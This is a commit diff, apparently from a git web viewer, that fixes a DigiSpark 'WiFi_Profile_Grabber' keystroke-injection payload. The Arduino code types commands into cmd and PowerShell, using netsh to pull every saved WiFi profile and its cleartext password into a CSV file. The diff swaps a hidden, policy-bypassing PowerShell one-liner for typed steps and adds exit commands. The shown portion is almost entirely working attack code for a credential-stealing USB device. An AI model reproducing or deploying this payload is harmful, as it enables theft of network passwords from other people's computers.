WiFi_Profile_Grabber empty csv file fix
This commit is contained in:
parent
336ad16f82
commit
2e077c087b
|
@ -12,9 +12,18 @@ void loop() {
|
||||||
DigiKeyboard.print("cmd");
|
DigiKeyboard.print("cmd");
|
||||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
DigiKeyboard.delay(500);
|
DigiKeyboard.delay(500);
|
||||||
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv\" "));
|
DigiKeyboard.print(F("powershell"));
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv "));
|
||||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
DigiKeyboard.delay(3000);
|
DigiKeyboard.delay(3000);
|
||||||
|
DigiKeyboard.print("exit");
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
|
DigiKeyboard.print("exit");
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
DigiKeyboard.delay(500);
|
||||||
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
||||||
DigiKeyboard.delay(200);
|
DigiKeyboard.delay(200);
|
||||||
DigiKeyboard.print("cmd");
|
DigiKeyboard.print("cmd");
|
||||||
|
|
Loading…
Reference in New Issue